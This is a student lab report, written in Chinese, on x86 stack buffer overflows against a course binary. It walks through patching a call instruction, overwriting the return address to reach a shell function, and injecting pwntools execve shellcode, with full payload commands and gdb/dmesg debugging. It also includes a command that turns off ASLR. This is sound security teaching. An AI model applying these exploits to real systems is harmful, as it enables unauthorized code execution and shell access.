实践九 软件安全攻防--缓冲区溢出和shellcode
一、实验内容
1.主要任务
- 手工修改可执行文件
通过反汇编定位main函数中调用foo的call指令,手工计算并修改相对偏移量,将其目标地址改为getShell,使程序直接执行getShell函数,获取 Shell。 - 利用栈溢出漏洞劫持控制流
分析foo函数的栈帧布局,计算缓冲区到返回地址的偏移量,构造攻击字符串(payload)覆盖返回地址,使程序在foo返回时跳转到getShell函数并成功执行system("/bin/sh")。 - 注入并运行自定义 shellcode
在确认栈可执行且相关保护关闭的前提下,使用 pwntools 生成execve("/bin/sh")的机器码作为 shellcode。通过缓冲区溢出将返回地址覆盖为 shellcode 在栈上的存放地址(或使用 NOP sled / gadget 提高容错),使程序在foo返回后跳转执行 shellcode,获得交互式 Shell。 - 调试与故障分析
熟练使用objdump、gdb、strace、dmesg等工具进行反汇编、断点调试、寄存器与内存检查、系统调用追踪和内核日志分析,解决栈对齐、地址偏差、环境不一致等实际利用中的问题。 - 掌握基础汇编与利用原理
理解 NOP、JNE、JE、JMP、CMP 等汇编指令的机器码及其作用;掌握 栈帧布局、调用约定、字节序等基础知识;能够正确使用十六进制编辑器修改机器码,并构造符合要求的 BOF 攻击载荷。
2.实验环境
- 主机系统:Windows 11
- 虚拟化平台:VMware Workstation 17 Pro
- 虚拟机:
| 主机 | IP地址 | Mac地址 |
|---|---|---|
| Kali Linux 2025.4 | 192.168.188.7 | 00:0c:29:d2:d4:c0 |
| VMNet8网卡 | 192.168.188.1 | 00:50:56:fa:aa:1e |
- 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。
3.知识点梳理
本次实验涉及的核心知识点可归纳为以下几个方面:
1. 缓冲区溢出(Buffer Overflow)原理
- 栈帧结构:在 x86 32 位系统中,函数调用时会将返回地址、旧的
ebp压栈,随后分配局部变量空间。缓冲区通常位于ebp下方,溢出可覆盖ebp和返回地址。 - 溢出计算:通过反汇编确定缓冲区起始地址到返回地址的距离(本实验中为
0x1c字节缓冲区 + 4 字节保存的ebp,共 32 字节)。 - 利用后果:覆盖返回地址后,函数返回时可跳转到任意代码片段执行。
2. 手工修改可执行文件
- 机器码结构:
call指令(0xE8)后跟 4 字节相对偏移量,计算公式:目标地址 - call下一条指令地址。 - ELF 文件结构:虚拟地址与文件偏移的关系,使用十六进制编辑器直接修改二进制文件。
3. 栈溢出劫持控制流
- 攻击载荷构造:填充数据 + 目标函数地址(小端字节序)。
- 栈对齐问题:
system等函数要求 16 字节栈对齐,push ebp可能破坏对齐,导致崩溃。可通过跳过开头指令或使用ret滑板调整栈帧。 - 调试确认:在 gdb 中设置断点,检查栈顶返回地址是否被正确覆盖。
4. Shellcode 注入与执行
- Shellcode 生成:使用
pwntools的shellcraft.sh()生成execve("/bin/sh", NULL, NULL)的机器码。 - NOP sled:在 shellcode 前填充大量
0x90,以容忍栈地址的一定偏差,提高攻击成功率。 - 跳转方式:
- 绝对地址跳转:将返回地址覆盖为 shellcode 所在栈地址。
jmp esp/call eax等 gadget:通过 ROP 思想间接跳转,绕过地址随机化。
- 环境一致性:gdb 内外栈布局可能不同,需通过 core dump、
dmesg等方式获取真实运行地址。
5. 安全保护机制
- ASLR(地址空间布局随机化):使栈、堆、库等基地址每次运行随机化,增加利用难度。实验中通过
echo 0 > /proc/sys/kernel/randomize_va_space临时关闭。 - NX(栈不可执行):将栈标记为不可执行,阻止 shellcode 直接在栈上运行。实验环境默认关闭,但实际应用需配合 ROP 绕过。
- Stack Canary:在返回地址前插入随机值,函数返回前检查,防止返回地址被篡改。本实验无 Canary。
- PIE:位置无关可执行文件,使代码段基址随机化。本实验无 PIE。
6. 调试与故障排查工具
- objdump:反汇编,提取地址、分析指令。
- gdb:设置断点、单步执行、查看寄存器和内存、检查覆盖效果。
- strace:追踪系统调用,观察
execve调用成功与否。 - dmesg:查看内核记录的段错误信息(
ip、sp等),用于反推真实运行时状态。 - pwntools:快速生成 payload、pattern、shellcode,以及交互式脚本。
7. 基础汇编与调用约定
- x86 32 位调用约定:参数通过栈传递(
push压栈),call指令将返回地址压栈。 - 常用指令理解:
push ebp; mov ebp, esp建立栈帧;sub $0x38, %esp分配局部空间;lea -0x1c(%ebp), %eax获取缓冲区地址;call、ret的执行细节。 - 系统调用:
int 0x80触发系统调用,execve对应的 eax 为0x0b。
二、实验过程
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
首先将解压后的文件拖入虚拟机kali 2025.04的命令行

然后按照要求进行重命名,我这里直接拷贝了一份出来

使用以下命令记录 getShell 的起始地址0804847d
objdump -d 20251908zyj | grep getShell

使用以下命令定位调用点
objdump -d 20251908zyj | grep -A2 "call.*foo"
call 指令的偏移量 = 目标地址 - (call 下一条指令地址)
= 0x0804847d - 0x080484ba = -0x3D = 0xFFFFFFC3(32 位补码)
因此新指令的 5 字节机器码应为:e8 c3 ff ff ff
通常 .text 段在 ELF 文件中的偏移等于虚拟地址减去基地址 0x08048000。
所以 0x080484b5 对应的文件偏移约为 0x4b5。
使用以下命令定位文件偏移并修改
echo "000004b5: e8 c3 ff ff ff" | xxd -r - 20251908zyj

使用以下命令验证
objdump -d 20251908zyj | grep -A2 "call.*getShell"

看到 80484b5: e8 c3 ff ff ff call 804847d <getShell>。
运行 ./20251908zyj,直接获得 shell

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
先拷贝一份并重命名

使用以下命令获取所有关键函数的地址和指令。
objdump -d 20251908zyj_2 | grep -E "<main>:|<foo>:|<getShell>:"

查看 foo 函数的完整汇编:
objdump -d 20251908zyj_2 | grep -A20 "<foo>:"

确定偏移量(静态分析结果)
8048494: 83 ec 38 sub $0x38,%esp ; 分配 0x38 = 56 字节栈空间
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax ; 缓冲区从 ebp-28 开始
典型的栈帧结构(32 位):
高地址 | 返回地址 | ebp+4
| 旧 ebp | ebp
| ... |
低地址 | 缓冲区 | ebp-0x1c (28 字节缓冲区)
所以从缓冲区开头到返回地址的距离 = 28 + 4 = 32 字节。
接下来构造攻击载荷
用 Python 一行生成 payload 文件:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x80\x84\x04\x08')" > payload.bin
然后发动攻击
(cat payload.bin; echo "id"; cat) | ./20251908zyj_2

(3)注入一个自己制作的shellcode并运行这段shellcode。
首先依旧cp一份出来,虽然不cp也可以

1.获取基本信息
首先需要在 gdb 中获取 foo 返回时的 esp 值
gdb ./20251908zyj_3
进入 gdb 后依次执行:
set disable-randomization on
break *0x080484ae
run <<< ""
此时程序会停在 ret 指令前。输入命令查看 esp:
info registers esp
记下显示的 esp 值0xffffd2ac

2.gdb内尝试攻击
第一次攻击失败
新开一个终端,生成 payload
python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffd2ac
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_ok', 'wb') as f:
f.write(payload)
"
重新启动 gdb 并运行 payload
gdb ./20251908zyj_3
在 gdb 内执行:
set disable-randomization on
run < payload_ok
这时执行发现崩溃,原因是返回地址写错了。

错误分析如下:
- 在
foo的ret前获取的esp = 0xffffd2ac,这个地址本身是存放返回地址的栈单元。 - payload 布局:
32*A + ret_addr + shellcode,其中ret_addr放在覆盖返回地址的位置,shellcode紧跟在后面(从0xffffd2b0开始)。 - 设置的
ret_addr = 0xffffd2ac,导致ret指令跳转到0xffffd2ac,而这个位置存放的恰好是你刚写入的0xffffd2ac这 4 个字节的数据,不是 shellcode 代码。CPU 把这 4 个字节当指令执行,自然崩溃。
正确做法:让返回地址直接指向 shellcode 的起始地址,即 0xffffd2ac + 4 = 0xffffd2b0。
成功的一次攻击
重新修改payload
python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffd2b0 # 注意:这里是 esp+4
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_ok', 'wb') as f:
f.write(payload)
"
启动 gdb 并运行
gdb ./20251908zyj_3
(gdb) set disable-randomization on
(gdb) run < payload_ok

这时发现系统启动了新的 shell 程序(dash,即 /bin/sh 的实际实现)。之后进程正常退出,是因为 shell 通过输入重定向读取到 EOF 而自动退出——这是完全符合预期的行为。
3.外部终端中的攻击
在gdb里的攻击成功了,现在直接尝试在外部环境中使用刚刚生成的payload执行攻击

发现失败,开始寻找原因,中间有多次尝试(列在问题与解决部分),这里截取成功的尝试
利用内核日志找到 segfault 时的 ip,反推 shellcode 地址。

我们成功劫持了 eip(dmesg 显示 ip=0xffffd2b0),只是跳转地址在真实环境下偏移了,所以才会崩溃。现在根据 dmesg 提供的 sp 值,可以精确计算出真实环境中 shellcode 的地址。
由于 ret 指令已经执行过,此时 esp 指向 shellcode 之后,但我们可以反推:
ret 执行前 esp = 崩溃时 esp - 4 = 0xffffde1c
shellcode 起始地址 = 返回地址之后 = 0xffffde1c + 4 = 0xffffde20
所以,外部环境下的正确返回地址就是 0xffffde20(恰好等于崩溃时的 sp)。
生成最终 payload 并攻击
python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffde20 # 从 dmesg 提取的真实地址
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_real', 'wb') as f:
f.write(payload)
"

攻击
(cat payload_real; cat) | env -i ./20251908zyj_3

三、学习中遇到的问题及解决
1.构建payload后攻击失败
当时使用的命令是
python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x7d\x84\x04\x08')" > payload.bin
问题分析:
通过反汇编确定缓冲区到返回地址的偏移为 32 字节(28 字节缓冲区 + 4 字节 old ebp)。
getShell 函数的入口在 0x0804847d,但直接跳转到该处会因栈未对齐导致 system 崩溃。
通过分析 getShell 的汇编代码,发现跳过 push ebp 和 mov ebp, esp 后,系统调用可以正常执行,
因此将返回地址覆盖为 0x08048480(即 sub $0x18,%esp 指令地址)。
修改成以下命令就好了
python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x80\x84\x04\x08')" > payload.bin
2.攻击成功后没有显示数据
执行的命令如下
(cat payload.bin; cat) | ./20251908zyj_2

成功执行攻击(一开始没发现)后没有任何显示,还以为没有成功
实际上,这时随便输入命令就好了

当然,直接使用这个命令会更好一点
(cat payload.bin; echo "id"; cat) | ./20251908zyj_2
3.shellcode注入失败
gdb 内已经验证了 shellcode 的成功执行,但在外部终端失败
具体原因是 gdb 内外的栈布局不完全相同,即使关闭 ASLR,环境变量等因素仍可能导致栈地址偏移,之前固定的 0xffffd2b0 无法命中。
通过 core dump 获取外部运行时的真实 shellcode 地址

失败
使用 NOP sled 提高命中率
生成带 200 字节 NOP sled 的 payload,返回地址使用 gdb 中的 esp+4(即 0xffffd2b0):

失败
最后使用dmesg 获取真实崩溃地址

成功
四、学习感悟、思考等
本次实践通过一个简单的 pwn1程序,让我从手工修改二进制到栈溢出劫持控制流,再到注入并运行自定义 shellcode,循序渐进地体验了二进制漏洞利用的基本流程。通过这三个递进式的实验,我不仅掌握了栈溢出的利用技术,更重要的是养成了“调试思维”——在失败中通过反汇编、断点、日志等手段寻找线索,不断逼近正确解法。
参考资料:

浙公网安备 33010602011771号